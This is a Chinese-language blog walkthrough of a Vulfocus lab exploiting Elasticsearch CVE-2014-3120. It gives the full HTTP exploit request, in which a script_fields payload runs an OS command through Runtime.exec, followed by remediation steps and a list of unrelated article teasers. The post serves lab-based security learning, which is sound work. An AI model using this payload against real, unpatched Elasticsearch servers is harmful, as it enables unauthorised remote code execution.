[Vulfocus解题系列]ElasticSearch命令执行漏洞(CVE-2014-3120)

news/2025/2/12 18:57:32/

漏洞介绍

Elasticsearch 是一个基于 Lucene 库的搜索引擎,具有 HTTP Web 接口和无模式 JSON 文档。Elasticsearch 是用 Java 开发的,其支持 MVEL、js、Java 等语言,其老版本默认语言为 MVEL。

MVEL :一个被众多 Java 项目使用的开源的表达式语言。

Elasticsearch 1.2之前的版本默认配置启用了动态脚本,该脚本允许远程攻击者通过 _search 的 source 参数执行任意 MVEL 表达式和 Java 代码。

影响版本

Elasticsearch < 1.2

解题过程

1.打开靶场环境,可以看到版本为1.1.1
在这里插入图片描述

2.burp抓包
在这里插入图片描述
3.使用特定的请求包向 Elasticsearch 添加一条数据

{
“name”: “vulfocus”
}

请求包如下:

POST /website/blog/ HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 26
{
“name”: “vulfocus”
}

返回201,说明添加数据成功
在这里插入图片描述
4.script 为最终执行 Java 代码的地方,此字段会被默认当作脚本执行,按照其 json 格式向其填充要执行的代码即可
漏洞利用的请求包如下:

POST /_search?pretty HTTP/1.1
Host: 118.193.36.37:46737
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 361
{
“size”: 1,
“query”: {
“filtered”: {
“query”: {
“match_all”: {
}
}
}
},
“script_fields”: {
“command”: {
“script”: “import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(“ls /tmp”).getInputStream()).useDelimiter(”\\A").next();"
}
}
}

在这里插入图片描述

漏洞修复

防御方法

  1. 升级版本

  2. 在elasticsearch.yml里配置script.disable_dynamic: true


http://www.ppmy.cn/news/405470.html

相关文章

elasticsearch 代码执行 (CVE-2014-3120)

[TOC]( elasticsearch 代码执行 (CVE-2014-3120) ) 所有文章&#xff0c;仅供安全研究与学习之用&#xff0c;后果自负! elasticsearch 代码执行 (CVE-2014-3120) ElasticSearch是一个基于Lucene构建的开源&#xff0c;分布式&#xff0c;RESTful搜索引擎。设计用于云计算中&…

vulfocus——elasticsearch代码执行(CVE-2014-3120)

描述 Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎&#xff0c;基于RESTful web接口。 ElasticSearch默认配置是打开动态脚本功能的&#xff0c;因此用户可以直接使用http请求&#xff0c;通过_search方法的参数传入恶意代码&…

机器学习之在线模型简单部署,基于ONNX技术

文章目录 一&#xff0c;onnx二&#xff0c;onnx的作用1. 提高模型的互操作性&#xff1a;2. 加速推理引擎的开发&#xff1a;3. 改进模型优化和调试&#xff1a; 三&#xff0c;onnx的应用场景四&#xff0c;onnx模型部署涉及的主要函数1. onnxruntime.InferenceSession&#…

Bottle学习笔记

Bottle学习笔记 1.环境2.知识点2.1 框架2.2 URL装饰器2.3 404与url转向2.4获取get与post请求参数2.5为web客户端返回不同类型数据2.6使用cookie与signed cookie跟踪客户2.7HTTP上传接收文件2.810.内建模板引擎 1.环境 使用管理员身份打开cmd conda create -n bottle python c…

C# Action委托

委托内核就是封装--就是将业务方法封装成委托调用 Action委托是C#中的一个预定义委托类型&#xff0c;它表示一个不返回值的方法。Action委托可以用于封装一个方法&#xff0c;然后将其作为参数传递给另一个方法&#xff0c;或者将其赋值给一个委托变量&#xff0c;以便在需要…

软件测试中如何编写单元测试用例(白盒测试)

目录 前言&#xff1a; 一、 单元测试的概念 二、开始测试前的准备 三、开始测试 四、完成测试 前言&#xff1a; 单元测试是软件测试中一种重要的测试方法&#xff0c;它是在代码级别进行测试&#xff0c;通过对每个模块或功能进行独立测试来保障代码的正确性和可靠性。…

解密:斐讯N1为何火了?分享全套N1救砖指南!值得收藏

我的斐讯N1好久不用想刷个电视盒子&#xff0c; 刚开始usb burning tool发现不了设备。 根据B站视频解决解密&#xff1a;斐讯N1为何火了&#xff1f;分享全套N1救砖指南&#xff01;值得收藏_哔哩哔哩_bilibili 但烧录不进去&#xff0c;一直提示&#xff1a; Romcode/初始…

索尼Xperia Z2 SGP521/SGP 511 无限重启的解决

在平板上更新完搜狗浏览器后&#xff0c;一直提示搜狗浏览器无法打开。之后就一直不停地重启。 解决&#xff1a;不用recovery刷机。在开机后过一会才重启。这时候进设置&#xff0c;把搜狗浏览器卸掉就可以了。